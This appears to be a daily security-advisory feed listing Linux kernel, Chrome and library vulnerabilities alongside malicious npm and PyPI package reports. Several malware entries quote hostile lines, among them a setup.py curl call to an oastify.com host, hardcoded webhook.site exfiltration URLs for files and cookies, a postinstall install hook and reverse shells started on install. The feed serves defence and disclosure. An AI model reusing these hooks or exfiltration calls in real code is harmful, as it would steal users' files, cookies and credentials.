CVE-2026-93191	New						In the Linux kernel, the following vulnerability has been resolved: smack: fix incorrect task context in smack_msg_queue_msgrcv The smack_msg_queue_msgrcv() function incorrectly checks the permissions of the 'current' task instead of the 'target' task. In the msgsnd() syscall path, if a receiver is already waiting, the pipelined_send() optimization is used to push the mes...
CVE-2026-93192	New						In the Linux kernel, the following vulnerability has been resolved: drm/v3d: Clear queue->active_job when v3d_fence_create() fails The run_job() callbacks for BIN, RENDER, TFU and CSD assign the incoming job to queue->active_job before calling v3d_fence_create(). If v3d_fence_create() fails, the callback returns NULL without clearing active_job, leaving a dangling pointer....
CVE-2026-93193	New						In the Linux kernel, the following vulnerability has been resolved: drm/rockchip: analogix_dp: Fix OF node reference leak via auto cleanup Sashiko reported a reference leak in rockchip_dp_drm_encoder_enable(), the of_get_child_by_name() function does not call of_node_put() in a symmetrical way [1]. Fix the device node reference leak by using __free(device_node) to automat...
CVE-2026-93194	New						In the Linux kernel, the following vulnerability has been resolved: drm/rockchip: dw_dp: Release core resources Core resources such as the DisplayPort AUX channel get initialized and registered during dw_dp_bind(), but are never unregistered, which may lead to memory leaks and/or use-after-free: [224.661371] BUG: KASAN: slab-use-after-free in device_is_dependent+0xe0/0x...
CVE-2026-93195	New						In the Linux kernel, the following vulnerability has been resolved: drm/bridge: synopsys: dw-dp: Support unregistering the AUX channel The DisplayPort AUX channel gets initialized and registered during dw_dp_bind(), but it is never unregistered, which may lead to resource leaks and/or use-after-free. Add the missing dw_dp_unbind() function to allow the users of the librar...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93196	New						In the Linux kernel, the following vulnerability has been resolved: nvdim: virtio_pmem: refcount requests for token lifetime KASAN reports slab-use-after-free in __wake_up_common(): BUG: KASAN: slab-use-after-free in __wake_up_common+0x114/0x160 Read of size 8 at addr ffff88810fdb710 by task swapper/0/0 CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.19.0-next-202602...
CVE-2026-93197	New						In the Linux kernel, the following vulnerability has been resolved: memcg: move LRU size accounting on reparenting instead of copying it When a memory cgroup is offlined its LRU folios are reparented to the parent. lruvec_reparent_lru() splices the child's lists into the parent's and credits the parent with the child's per-zone lru_zone_size[], but never clears the child'...
CVE-2026-93198	New						In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate the persisted dirty_tail chain at load The writeback worker follows the persisted dirty_tail chain, which is decoded from the cache device independently of the key_tail chain that cache_replay() walks and bounds. A crafted image, whose on-media fields are authenticated only by a crc32c ...
CVE-2026-93199	New						In the Linux kernel, the following vulnerability has been resolved: i3c: master: Do not treat master device as a duplicate target i3c_master_search_i3c_dev_duplicate() searches the bus for another I3C device with the same PID as the reference device. The search can match master->this, causing the controller itself to be returned as a duplicate. Since the controller is no...
CVE-2026-93200	New						In the Linux kernel, the following vulnerability has been resolved: i3c: master: Fix use-after-free of master->this sysfs attribute callbacks for the master controller device dereference master->this. However, master->this is freed in i3c_master_detach_free_devs() before the master device itself is released. As a result, sysfs accesses can dereference a freed master->thi...
CVE-2026-93201	New						In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate seg_id fields from persistent memory cache_pos_decode(), cache_key_decode() and the last-kset branches of cache_replay(), the writeback worker and the GC worker take a cache segment id from the cache device metadata and index cache->segments[] with it without checking it against cache->...
CVE-2026-93202	New						In the Linux kernel, the following vulnerability has been resolved: i3c: master: Fix recursive locking during device registration i3c_master_register_new_i3c_devs() registers newly discovered devices while holding i3c_bus_normaluse_lock(), a down_read(). device_register() can immediately probe the device, and probe callbacks typically invoke I3C helpers that take i3c_bus_...
CVE-2026-93203	New						In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: avoid CRC corruption due to parallel claim add batadv_bla_add_claim() is used to add claims and modify the backbone of claims for CLAIM frames from remote backbones and local packets. When it handles a claim, it needs to either * add the new claim's CRC to the backbone CRC * remove the al...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93204	New						In the Linux kernel, the following vulnerability has been resolved: batman-adv: dat: atomically update mac addresses When a MAC address is updated in batadv_dat_entry_add(), it is done using a simple copy function. A parallel reader might only see parts of this update. In worst case, the reader is transporting the half updated MAC address over the network or is creating an...
CVE-2026-93372	New						Buffer overflow in WebGL in Google Chrome on on Android prior to 153.0.8010.52 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-93373	New						Use after free in Extensions in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)
CVE-2026-93374	New						Use after free in Dawn in Google Chrome on on Android prior to 153.0.8010.52 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVE-2026-93375	New						Incorrect reference resolution in Tracing in Google Chrome on on Windows prior to 153.0.8010.52 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)
CVE-2026-93376	New						Out of bounds read in DataTransfer in Google Chrome prior to 153.0.8010.52 allowed a local attacker leveraging social engineering to read memory outside the sandbox via a local program. (Chromium security severity: Medium)
CVE-2026-93377	New						Type confusion in V8 in Google Chrome prior to 153.0.8010.52 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-93378	New						Missing authorization in Storage in Google Chrome prior to 153.0.8010.52 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted PDF file. (Chromium security severity: Medium)
CVE-2026-93379	New						Incorrect authorization in ORB in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: High)
CVE-2026-93380	New						Race condition in FileSystem in Google Chrome prior to 153.0.8010.52 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-93381	New						Buffer overflow in PDFium in Google Chrome on on Windows prior to 153.0.8010.52 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)
CVE-2026-93382	New						Use after free in PDFium in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93383	New						Information leak in Permissions in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-93384	New						Server-side request forgery in Omnibox in Google Chrome on on Android prior to 153.0.8010.52 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-93385	New						Information leak in Paint in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-93386	New						UI misrepresentation in WebAppInstalls in Google Chrome prior to 153.0.8010.52 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-93387	New						Improper state validation in Skia in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)
GHSA-532p-c872-3926	New					npm:randompkgga	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c4e7dfd8fb150e4c7f087a17c2ed162a8e48fe7e4e253a68df901f0e775fd68c) package.json declares a postinstall lifecycle script `cd "\$INIT_CWD" && npm i randompkgb` that, on `npm install`, installs the additional npm package `randompkgb` into the consumer's project. A companion postinstall.js r...
GHSA-5r64-rpvg-q9rr	New					npm:kartykgithub-takedown-a	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (be4b64316a832dd3482cc41c21d79e2005d5984e2458ed45e957ee761862de31) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-9395-2g46-rj3f	New					PyPI:djust	Five independent defects in djust's template auto-escaping cause attacker-controlled input to be rendered as live markup where Django escapes it. All four are present in shipped 1.1.0 and are fixed in 1.1.1. They share one shape: **a filter or grant that escapes nothing itself and relies on the render-time auto-escape, which something downstream then removes.** They are gro...
GHSA-cqc9-f5fp-r45q	New					npm:randompkgd	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (c0ebd1d508d7c8ae4aa2a0693b9d07720a837307b1a5c343c931c6e7d72d6390) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-f8wr-9w83-7gmw	New					npm:kartykgithub-takedown-b	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (6844bb41cfa32b3ead1bd2558d13f9114c93fc9cea7be43ed4063726f259d405) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-p8m5-fmxm-99f6	New					npm:randompkgc	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (7ce22b64e51787a332ae7c65afc8789c0fb3f806199aa79d72af9ff02eb867d1) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-p957-4pc7-x6hp	New					npm:kartykgithub-multiversion-a	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (cf524b1c8a586bcece6d65140e168a40adec8699c1cc7af61263bfd2a6b84543) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-q83w-3hvr-fgg7	New					npm:@kartyk-github-org/takedown-b	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (f59dc68aae74875f986021660cb054d4055e7f7113e31234e8a9589c44edfb6f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-rc4q-v4pf-8j7x	New					npm:randompkge	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (95eb389e78a05b76dfefafd460f3280f3fabf8fcd1dfc55946b04bef84b26116) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-rx76-mcg9-gqc5	New					npm:@kartyk-github-org/takedown-a	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (bf2fb1adf14524d97cbb2a621413f9d25b8ac020fc927b92fa8f9aff52edef70) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-vxvw-gh3g-35pj	New					npm:randompkgb	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (5daf14ba0ddb406ffdd9b17e6be63713fe9f66cf739753e8b20ffb128a8b1323) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-xjw9-38cr-6372	New		HIGH			PyPI:djust	A context safety grant was inherited by a template **binding** that never earned it, so rebinding a name the view had marked safe left the mark attached to the new, attacker-controlled value. djust 's context safety channel is keyed by **name** , not by value. Every bind copied the value and left the grant in place: `` view marks p = mark_safe('trusted') template ...
MAL-2026-16250	New					PyPI:marketing-mcp	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (87216e00fe68e2de8b140f1f9fc2db5a8e814f38030e2eb6120c9ae9e7ca3ff) The package exposes an MCP tool `send(path)` that reads a caller-specified local file and POSTs its contents to a hardcoded `https://webhook.site/4acf7132-a75e-47e1-aeff-0350c8eac16c` endpoint. The destination is a fixed...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16251	New					npm:tailwindcss-contact-form	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0b198bc6d5af472f9cb1f1db25acf0215b77c04a742fcce81fef5565d76d837b) Package presents itself as the Tailwind CSS forms plugin (README is a verbatim copy of @tailwindcss/forms and its package.json points at github.com/tailwindlabs/tailwindcss-forms), and the README instructs users to requi...
MAL-2026-16252	New					npm:ragacateslikodi	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (09a5a8774b4ce673a050b7e26c7d08aec66320fc14257196157363935ac19aa1) On require/import of the package's main entry, a top-level async IIFE probes http://localhost:5000 for a hardcoded set of paths (/admin, /flag, /profile variants), concatenates status, length, and any body content matchi...
MAL-2026-16254	New					npm:pulse-pwn-9f3a2	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f8086e23ce4b6ff1ca043ca8d9c83f384455e0baee3d06cd79e8a0d5d52c04e1) index.js contains top-level code that fetches /profile and sends document.cookie together with the response body to a hardcoded webhook.site URL (https://webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38) via a GET requ...
MAL-2026-16260	New					npm:confx1789550882	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (72ce9bca41cb0378952b582d6f115a3bffd2acea4999a90bae5f916428921b64) The package's main file index.js is an IIFE that, when loaded in a browser same-origin context (e.g. via unpkg), reads location.href and document.cookie, fetches authenticated endpoints such as /profile, /admin, /dev, /f...
MAL-2026-16261	New					npm:@railone/image-utils	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ebec05d8415347cef93849315a26f4221e34efa278fffe1b89700af039246dc6) On import, index.js calls initialize() which spawns a detached, stdio-suppressed, windowsHide `node loader.js` child (init.js) and records its PID. loader.js HTTPS-fetches JSON from https://api.npoint.io/641d37178a880b1e...
MAL-2026-16262	New					npm:tailwindcss-form-ui	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7a21e4623006a0c69e3dfef80857eadd9102550c8a77c1d95e880245a5f0fa9) Package name and repository field impersonate the legitimate tailwindlabs/tailwindcss-forms plugin, but the shipped main entry src/index.js is a fully obfuscated (obfuscator.io string-array) module that has nothing to do...
MAL-2026-16263	New					npm:tailwindcss-form-utils	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1eab685b70dc7394ba9eade13925f6da52267f61edcf8ba204bcf9ac3bd4c7bc) The package publishes under the name tailwindcss-form-utils while pointing its repository field at https://github.com/tailwindlabs/tailwindcss-forms and mirroring that project's README verbatim, positioning itself as a l...
MAL-2026-16264	New					PyPI:aiosendletter	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (29baa6f2cbfb2ef9907be7830505e33e82b5a1e6a45eb7f995022d09f5841f09) The package advertises itself as a 'safe bug reporter' but its init() function archives the contents of %LOCALAPPDATA%\logs with shutil.make_archive and POSTs the resulting archive to a hardcoded, non-configurable Cloudf...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16267	New					PyPI:pyjstat-smooth	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f65efaaf25b41d789624595550d966762b21747205b23f15325db2e05924387d) The package (advertised as a JSON-stat library) ships a test module that, when the test suite is executed, walks the /app and /Users directory trees, targets files ending in 'flags.json' (with an expected path '/app/inje...
MAL-2026-16268	New					PyPI:index-forum	--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (7561fd94425cdde34f5f9f3d20482a0da8680414d0f38e1e00fea419ce23cf66) The package hides code to exfiltrate specific files from the user's machine. The used file paths suggest it was intended to be used in a CTF-like environment. --- Category: MALICIOUS - The campaign has clearly malicious intent,...
MAL-2026-16269	New					PyPI:requests-asetwe	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5) setup.py of requests-asetwe unconditionally executes `os.system('curl -s https://w5223hr2yr968bhwl8bv5n8ozuqih66.oastify.com')` during `pip install`. The destination is a Burp Collaborator (oastify.com) subdomain — an o...
MAL-2026-16270	New					npm:@tink/tink-link-core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (826e81131e7b2a296324d469c10f1e44d5b33683703c8a2e0f101a8674c1cfcf) The package impersonates the Tink open-banking SDK (name @tink/tink-link-core, description 'Enterprise-grade client core for open banking', homepage github.com/tink-link/core) but its actual behavior is host reconnaisan...
MAL-2026-16271	New					npm:test89078-auth	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c1ac938360c682e2489d11de9278697e7e2e85d73c612d2ab60ed28553bb5573) The package's preinstall script (scripts.preinstall = 'node index.js') runs automatically on npm install and collects os.userInfo().username and os.hostname(), then issues a dns.lookup against a subdomain of 31ee29fe-db6...
MAL-2026-16273	New					npm:blue-string-formatter-utils	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (aa3c9f5edcc636fc8d38e40a6bb225aed8f6b638be31f2abf8b6e747212c9565) The package advertises itself as 'Utility helpers for string formatting' but its shipped main file performs a single behavior: an XMLHttpRequest GET to the protocol-relative URL //xss.report/c/k3rne111 whose response bod...
MAL-2026-16274	New					PyPI:requests-auroras	--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (afa39517de816c01400eef99ef6ebce1357910c217c5e0ff55e4a252ea15a4c5) During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09-requests-triwes Reasons (based on the campaign): - The packag...
MAL-2026-16275	New					PyPI:requests-triwes	--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (fa01be0759de95b7a1628930718f7b3bf372eff0c777aace419196e327e77078) During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09-requests-triwes Reasons (based on the campaign): - The packag...

Significant updates today - original Published Date retained

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77411	Updated - Fix/version updated	9.5	CRIT			go:github.com/rabbitmq/amqp091-go	**Summary** A critical stream desynchronization vulnerability has been identified in the AMQP wire-protocol parser. When parsing a long string (<code>readLongstr</code>) within a table field, providing a length that exceeds the maximum signed 32-bit integer ($2^{31} - 1$, or roughly 2.1 GiB) triggers an improper error-handling condition. The parser abruptly aborts the read and returns...
CVE-2026-77405	Updated - Fix/version updated	9.4	CRIT			go:github.com/rabbitmq/amqp091-go	## Summary A structural security weakness exists in the AMQP client's TLS configuration generator (<code>tlsConfigFromURI</code>). When constructing a <code>*tls.Config</code> object from an <code>amqps://</code> connection URI, the library initializes the structure without explicitly defining the <code>MinVersion</code> field. While modern versions of the Go compiler toolchain (Go 1.18+) default the implicit minimum...
CVE-2026-77408	Updated - Fix/version updated	9.1	CRIT			go:github.com/rabbitmq/amqp091-go	## Summary A data integrity and protocol corruption vulnerability exists in the AMQP client's property serialization logic. When encoding AMQP short string (<code>shortstr</code>) fields—such as identifiers, routing strings, and content metadata—the length of the string is explicitly cast to a fixed-size 8-bit unsigned integer (<code>uint8</code>). If an application provides a property string e...
CVE-2026-77403	Updated - Fix/version updated	8.9	HIGH			go:github.com/rabbitmq/amqp091-go	## Summary A Denial of Service (DoS) vulnerability exists in the AMQP client's connection negotiation logic. The AMQP specification explicitly mandates a strict minimum frame size of 4096 bytes to prevent pathological packet fragmentation. While the library defines a <code>frameMinSize = 4096</code> constant, the connection negotiation loop fails to enforce this boundary, blindly accep...
CVE-2026-77410	Updated - Fix/version updated	8.9	HIGH			go:github.com/rabbitmq/amqp091-go	**Summary** A flaw in the <code>recvContent</code> function allows a malicious AMQP server to trigger an Out-of-Memory (OOM) error, forcing the host operating system or container runtime to immediately terminate the client process. **Vulnerability Details** When receiving message content payloads, the client processes the expected size from the content header framework. The <code>recvConte...</code>
CVE-2026-77412	Updated - Fix/version updated	8.9	HIGH			go:github.com/rabbitmq/amqp091-go	**Summary** A vulnerability in the <code>readField</code> function allows a malicious or compromised AMQP server to trigger an unhandled runtime panic in the client application, leading to an immediate crash of the entire process. **Details** When parsing incoming AMQP frames, the <code>readField</code> function processes byte-array fields (type tag <code>x</code>) by reading a 32-bit big-endian integer to...
CVE-2026-75516	Updated - Fix/version updated	8.7	HIGH			maven:com.rabbitmq:amqp-client	## Vulnerability In <code>AMQConnection.java</code> (line 435-436), after <code>Connection.Tune</code> negotiation, the frame-max limit is set via: <code>java _frameHandler.setFrameMax(Math.min(this.maxInboundMessageBodySize, frameMax));</code> When <code>frameMax = 0</code> (meaning "unlimited" per AMQP spec), <code>Math.min(67108864, 0) = 0</code> . This value is then passed to <code>Utils.framePayloadLimit(0)</code> which re...
CVE-2026-77404	Updated - Fix/version updated	8.7	HIGH			go:github.com/rabbitmq/amqp091-go	## Summary A query parameter injection vulnerability exists in the AMQP client's connection URI formatting logic. When generating or parsing connection URIs, TLS-related filesystem paths (such as certificates or keys) are appended directly to the URI's query string using string concatenation rather than secure URL encoding via functions like <code>url.QueryEscape</code> . If an applica...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82410	Updated - Fix/version updated	8.7	HIGH			go:github.com/pocketbase/pocketbase	PocketBase already has builtin panic-recover middleware for the regular requests handling but it doesn't cover panics in internal child/worker goroutines which in some situations could cause termination of the server process. To prevent this from happening all existing internal worker functions were wrapped with the new helper <code>`routine.SafeWrap(f)`</code> (auto recovers and retur...
CVE-2026-77406	Updated - Fix/version updated	8.2	HIGH			go:github.com/rabbitmq/amqp091-go	## Summary A logic and resource exhaustion vulnerability exists in the AMQP client's Quality of Service (Qos) configuration method. The <code>`Qos`</code> function accepts signed integers (<code>`int`</code>) for the <code>`prefetchCount`</code> and <code>`prefetchSize`</code> parameters but casts them directly to unsigned integers (<code>`uint16`</code> and <code>`uint32`</code> , respectively) when formatting the wire-level frame. If a developer p...
CVE-2026-59965	Updated - CVSS added	7.1	HIGH		0.003		Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, <code>@jhb.software/payload-alt-text-plugin</code> exposes <code>POST /api/alt-text-plugin/generate</code> and <code>POST /api/alt-text-plugin/bulk</code> with a default guard that accepts any authenticated user, while <code>alt-text/src/endpoints/generateAltText.ts</code> and <code>alt-text/src/endpoints/bulkGenerateAltTexts.ts</code> call <code>req.payload.f...</code>
CVE-2026-77407	Updated - Fix/version updated	7.0	HIGH			go:github.com/rabbitmq/amqp091-go	## Summary An information disclosure vulnerability exists in the AMQP client implementation's authentication handling configuration. Following a successful connection handshake, the <code>`Connection.Config.SASL`</code> field stores the <code>`Authentication`</code> implementation state used to establish the session. For standard <code>`PLAIN`</code> authentication, this state utilizes the <code>`PlainAuth`</code> struct, w...
CVE-2026-77360	Updated - Fix/version updated	6.3	MEDI			npm:@orpc/server	### Summary A flaw in the CORS plugin allowed the incoming request's <code>`Vary`</code> header to be reflected into the response, letting a client influence a header that should be controlled solely by the server. ### Details The CORS plugin previously copied the request's <code>`Vary`</code> header directly onto the response instead of treating <code>`Vary`</code> as a response-only header. Because <code>`Vary`</code> tell...
CVE-2026-81871	Updated - Fix/version updated	6.3	MEDI			go:go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc	### Summary The OTLP log gRPC exporter loads TLS settings from environment variables but does not apply them when creating gRPC transport credentials. Operators who rely on <code>`OTEL_EXPORTER_OTLP_LOGS_CERTIFICATE`</code> , <code>`OTEL_EXPORTER_OTLP_CERTIFICATE`</code> , or related client certificate variables for CA pinning or mTLS get a connection that falls back to system roots and omits the env-...
CVE-2026-59823	Updated - Fix/version updated	5.3	MEDI			pip:litellm	### Summary A server-side request forgery in LiteLLM Proxy lets an authenticated caller redirect the proxy's outbound request to a host of their choosing by smuggling an <code>`api_base`</code> inside the <code>`user_config`</code> request body, bypassing the existing parameter guard. ### Details LiteLLM Proxy validates request bodies with <code>`is_request_body_safe`</code> , which blocks the <code>`api_base`</code> and <code>`bas...</code>
CVE-2026-81870	Updated - Fix/version updated	2.0	LOW			go:go.opentelemetry.io/otel/exporters/otlp/otlptrace, go:go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc	### Summary OpenTelemetry Go versions 1.5.0 through 1.44.0 can include trace exporter endpoint configuration in an internal diagnostic log emitted when an SDK <code>`TracerProvider`</code> is created. The default OpenTelemetry logger does not emit this event. Exposure requires an application to install a logger that enables OpenTelemetry's internal Info-level diagnostics and for someone...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-62949	Updated - Fix/version updated		MODE			pip:asyncssh	## Summary A malicious SSH server can wedge an AsyncSSH client , and an authenticated client can wedge an AsyncSSH server , by sending a channel `maximum packet size` of `0` in `SSH_MSG_CHANNEL_OPEN_CONFIRMATION` (server→client) or `SSH_MSG_CHANNEL_OPEN` (client→server). AsyncSSH stores the peer-supplied value verbatim with no lower-bound check; the first time channel...
CVE-2026-63126	Updated - Fix/version updated		HIGH			maven:com.squareup.wire:wire-runtime	Wire's protobuf decoders did not consistently validate attacker-controlled length-delimited sizes against the current reader bounds before computing cursor, limit, or pointer positions. In the Kotlin runtime, `ProtoAdapter.decode(ByteArray)` and `ProtoAdapter.decode(ByteString)` use the `ProtoReader32` fast path implemented by `ByteArrayProtoReader32`. In `ByteArrayProtoRea...
CVE-2026-63225	Updated - Fix/version updated		MODE			npm:@redocly/cli	### Impact An OpenAPI or AsyncAPI description could make the `split` command write files outside the chosen output directory, on the machine of anyone who runs `split` against it. The write is constrained rather than a free file-write primitive: component data is emitted only as YAML/JSON, and code-sample files are named after the HTTP method, so an attacker can place or ov...
CVE-2026-63506	Updated - Fix/version updated		HIGH			npm:@tinacms/auth, npm:next-tinacms-azure	## Summary `@tinacms/auth`'s `isAuthorized(req)` decides authorization by validating the caller's bearer token against `https://identity.tinajs.io/v2/apps/\${req.query.clientID}/currentUser`, where the `clientID` comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the...
CVE-2026-64684	Updated - Fix/version updated					rust:rmcp	## Summary The `rmcp` crate's `StreamableHttpClientTransport` forwards caller-supplied custom HTTP headers (such as `X-API-Key`, `X-Auth-Token`, `Api-Key`) to cross-origin redirect targets. The `default_http_client()` function builds a `request::Client` without a redirect policy override, so the default `limited(10)` policy follows `307/308` redirects and forwards all per...
CVE-2026-69147	Updated - Fix/version updated		MODE			pip:vllm	## Summary Current vLLM `main` lets an inference request choose the PyNvVideoCodec GPU video decoder through `media_io_kwargs.video.video_backend`, but engine GPU memory reservation is computed only from static startup configuration and `VLLM_VIDEO_LOADER_BACKEND`. If the server starts with the default OpenCV/software backend and no `--mm-ipc-gpu-memory-gb` budget, a client...
CVE-2026-75513	Updated - Fix/version updated		CRIT			nuget:Marten	Several code paths in Marten's LINQ provider and tenant-management internals interpolated a runtime, potentially attacker-influenced value into generated SQL as a single-quoted string literal without escaping or parameterization. A value containing a single quote (`'`) could break out of the literal and inject arbitrary SQL. The primary vector is a `Dictionary<,>` indexer *...
CVE-2026-76825	Updated - Fix/version updated		HIGH			pip:RestrictedPython	### Impact RestrictedPython could allow a sandbox escape when a policy exposes the standard library `string` module, or otherwise exposes `string.Formatter`, to restricted code. `string.Formatter` field resolution methods such as `get_field` can perform attribute and item traversal internally and return live object references. This can bypass RestrictedPython's normal attri...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77401	Updated - Fix/version updated		MODE			pip:AccessControl	### Impact Python's string `format` functionality allows someone controlling the format string to "read" objects accessible (recursively) via attribute access and subscription from accessible objects. Those attribute accesses and subscriptions use Python's full blown `getattr` and `getitem`, not the policy restricted `AccessControl` variants `_getattr_` and `_getitem_`. This...
CVE-2026-81176	Updated - Fix/version updated		MODE			npm:devalue	### Impact `devalue.parse` prior to version 5.9.2 fails to reject out-of-bounds indices. Specially-crafted payloads can exploit this to cause devalue to alternate between different array representations, resulting in work that is quadratic with payload size. Applications are potentially affected if they call `devalue.parse` with untrusted data. ### Patches The bug is fix...
CVE-2026-81875	Updated - Fix/version updated		HIGH			maven:ca.uhn.hapi.fhir:org.hl7.fhir.r5, maven:ca.uhn.hapi.fhir:org.hl7.fhir.validation, maven:ca.uhn.hapi.fhir:org.hl7.f	### Summary `SHCParser` inflates compressed Smart Health Card JWT payloads into memory without a decompressed-size limit. An attacker who can submit SHC content for validation can craft a small compressed JWT payload that expands to a very large byte array, causing memory exhaustion or severe garbage collection pressure. ### Details The vulnerable code is in `org.hl7.fhir.r...
CVE-2026-81876	Updated - Fix/version updated		HIGH			maven:ca.uhn.hapi.fhir:org.hl7.fhir.r5, maven:ca.uhn.hapi.fhir:org.hl7.fhir.validation, maven:ca.uhn.hapi.fhir:org.hl7.f	### Summary A malformed Smart Health Card (SHC) JWT with `zip: "DEF"` and an empty or truncated DEFLATE payload causes `SHCParser.inflate()` to loop forever. This allows an attacker who can submit SHC content for validation to pin a JVM worker thread indefinitely, causing denial of service. ### Details The vulnerable code is in `org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5...
CVE-2026-82399	Updated - Fix/version updated		HIGH			go:github.com/coredns/coredns	### Summary CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS. ### D...
CVE-2026-84997	Updated - Fix/version updated					composer:react/http	### Summary A malformed HTTP message using `Transfer-Encoding: chunked` can drive `React\Http\Io\ChunkedDecoder` into an infinite loop, pegging a CPU core and freezing the event loop. Because ReactPHP is single-threaded, one such message stalls the entire process for every client until it is killed. Both directions are affected. `ChunkedDecoder` decodes chunked **request**...
